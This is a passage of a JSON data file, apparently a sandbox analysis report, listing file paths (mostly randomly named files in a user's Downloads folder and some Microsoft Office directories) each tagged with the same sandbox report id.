3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\4Pmmh3HlYKPz20b.doc","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\5aFd8vA3PE3A.mp3","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\5F1yaAIKfUGQcmmt.doc","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\5L9Wjn.txt","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\5yqb2pxbZ.txt","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\63sDzrkUoHoRT.exe","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\66u5Ps.pdf","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\6aAIiUIf.img","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\6MR6.mp3","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\6SZfLTu9z.doc","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\6WMjwc1zqk3IB.exe","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\72oNcVyHs8NBv.avi","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%PROGRAMFILES%\\Microsoft Office\\Office14\\1033\\Bibliography\\BIBFORM.XML","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%PROGRAMFILES%\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"C:\\Program Files","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%PROGRAMFILES%\\Microsoft Office","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%PROGRAMFILES%\\Microsoft Office\\Office14","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%PROGRAMFILES%\\Microsoft Office\\Office14\\Bibliography","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%PROGRAMFILES%\\Microsoft Office\\Office14\\Bibliography\\Style","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%PROGRAMFILES%\\Microsoft Office\\Office14\\Bibliography\\Style\\APA.XSL","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\7OxVHBv.avi","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\7ZOfXpturAqbd1c.avi","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\86iRpMfVS9o.jpg","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\8AuppwJ6wyt.txt","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\8P9o.txt","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\8Uu9ETpS.avi","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\8xCKPsTPqAt0jj.exe","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\9rNtWnjTq9RGbU.exe","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\a3Ntx.exe","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\A62zUUbY5QfVGXz.avi","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\acZ9pR3WMOxAcq.txt","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\aGAui.avi","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\AL0XySsN7H7ugY.rar","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\ar6cEZyyC.rar","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\aXokYfum1LR9T.jpg","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\B2OE.pdf","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\b2v3n4eKoIDN.avi","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\b6YuNbiDI.pdf","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\b9UD.jpg","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\BAa8xnBv7K.img","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\Bcni29.txt","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\BcZL4pkMX.rar","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\bg3oTe.doc","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\BK8vDj5a.jpg","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\Bp9aBvvt.txt","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\bvYkKJ33N9A.exe","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\bwI55TdR2ltk57l.pdf","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\C04T72pR0Bcl.doc","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\C3cps.avi","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\caic.rar","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\CEyeFINKwFDkgE0O.avi","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\CflGlvefKCtC99t.gif","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\CjIBD.rar","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\CoCzQ91sOnv8.txt","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\cTJXfHRYBCf7lK.avi","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\czGQ8bl3v.img","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\d71boA.exe","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\daTAwNa1cRBbYO.avi","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\DgLGRP4C041.mp3","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\dgQJde60mPXhI.exe","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\dH1rDN9f9.doc","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\dskCEJ.exe","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\DZ1I0FX.rar","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\e8x938q.jpg","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\ecazG0z.rar","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\EIy4cIf3Sw.pdf","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\EKeaJO.doc","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\Ery9w7qA.jpg","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\EvKbuCze.gif","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\F07QalpWC.txt","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\F3hzum1.doc","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\fhjb3frndmupmzw.img","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\fkHEBb1SV.txt","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\FksnKO3nPLqbqw.doc","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\fnHklmDjE.pdf","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\Frajmn2m7RI.gif","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\FYmHKtcQNYS.img","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\G5IM1lDtK.avi","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\G77JSgcmPf5H.avi","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\gd7HlA2D90jF.rar","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\gfoMPUZ1UQ.avi","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\GgPR9V5hPE8bUpO.jpg","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\GiF6iC5.avi","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\GnHuSl.pdf","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\Go5opN9UMnRhwZ2o.img","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\gsHQMZi.gif","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\Haiz.txt","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\HCCQmDcSMR.pdf","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\hCmeX1Ct3FFL6dk.jpg","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\hKY8.doc","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\hlchPBL.exe","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\HopLI4qUY5lj.jpg","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\Hqee3DDn6LduWwwM.pdf","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\hsQjJvLaP.jpg","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\Hyea.avi","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\hZbsHrgo8ONOWmd.gif","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\iEcMz.pdf","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\ieWzhDO3EIpCT.rar","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\II5yrap9K.pdf","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\iLLOga.exe","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\inloR0L.avi","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\irQRC1fyB.gif","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\iwIAg.rar","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\IXWAmgM.mp3","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\J0j8.rar","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\Jdc9FtOxiP1gc.img","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\jDJAedKZ.txt","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\Jm34QKUSbOJ.pdf","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\JOq8Wlewlk.txt","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\jU7uBI8eoGj.exe","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\K6ok91lNINFU2.txt","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\k9rCVCf.rar","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\kdo6iAicsoicvHg.exe","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\kDy3FUkn.jpg","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\kflWy2jLEiUoTUBN.mp3","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\Kin7.jpg","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\klmqz.doc","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\kY01UeAiy5.exe","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\kYjkX0S1jo7Zm.jpg","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\kYSsy3IT.pdf","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\KYu5soC0W7AqbGh.avi","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\lCEf83Wf7e4nuIMk.doc","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\lcwvnk.img","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\LfRe1UstxS6dMj3.pdf","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\lg7Kv3Y5aqGhf94.rar","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\lGzEUcaAA.gif","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\lM74.rar","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\M89doZVhROC.avi","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\MCnPJFRa.img","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\MD5t.img","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\MElB1FKqC2cxb6AE.rar","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\Mfc8nmRBfzSVE.txt","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\mj3KeUe3LBSMv2Dp.exe","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\MqbmYiJCv9FZI.avi","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\MRed6R.gif","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\ms6h2c.gif","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\mtgFs8Za.doc","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\MZGXda99O.mp3","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\NhFS3OvQ4RI.img","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\NKqc2EyBDA.mp3","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\NOR3aMm.pdf","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\nptZgkCVl0OD.mp3","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\nWXR.gif","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\o7AcVCKw0erZg.txt","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\obSP1kkndHWX46p.doc","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\ocNqp38QzZ.jpg","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\oDVNsk7OlJV.img","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\okbEY.img","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\OONBpjCfe.pdf","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\oyC5CL2.exe","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\PpzHcsYvXs2l.img","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\Q0JOBjRCtjVsC.txt","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\q74MS.txt","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\Q7E9suq.txt","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\qlDZYt.img","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\qMz8XR.pdf","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\qn6N701ce7yPWi2.jpg","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\quTGamas9Gw.mp3","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\QWfSLhRSIzwjS4.rar","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\r5TP22jyIM.exe","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\rbfKgDSibNA52.rar","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\RByAvdjwTizpmk.txt","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\RqpS.mp3","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\rRgk91Ih5n.doc","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\RTgAfRGNR0qKZtig.jpg","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\RWbgv7OCA5wp.txt","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\SakE.txt","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\Shs4s.mp3","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\siEjNwz.gif","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\SLPSrgK9.avi","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\snfLEUp5t.avi","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\Sw2EnkZnfpD.pdf","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\TcN5yBXi.rar","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\TCyc7HRP97.img","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\tDUzYwYK5f.exe","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\Tmg2wsFHYf9ioO.doc","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\TNZzXxx4kY1R7f7p.rar","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\U8wBQmOOpsr.gif","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\UG4UW.txt","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\upb6mTYvIr.rar","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\UyEm7.img","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\UylIt.img","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\uyvpJXmmwo8d.img","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\vHlVA6Ct.gif","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\vUaM2EZYuiO.jpg","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\vY0SOrBhJvCg.jpg","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\vyi8eCg.doc","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\w5JaoO.doc","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\wARff6exjpow.avi","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\Wmih9mB0sDu.rar","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\WUsiiJC2fRTBPivX.gif","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\x41cViR8fbZW.img","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\XifskT.avi","sources":[{"report_type":"sandbox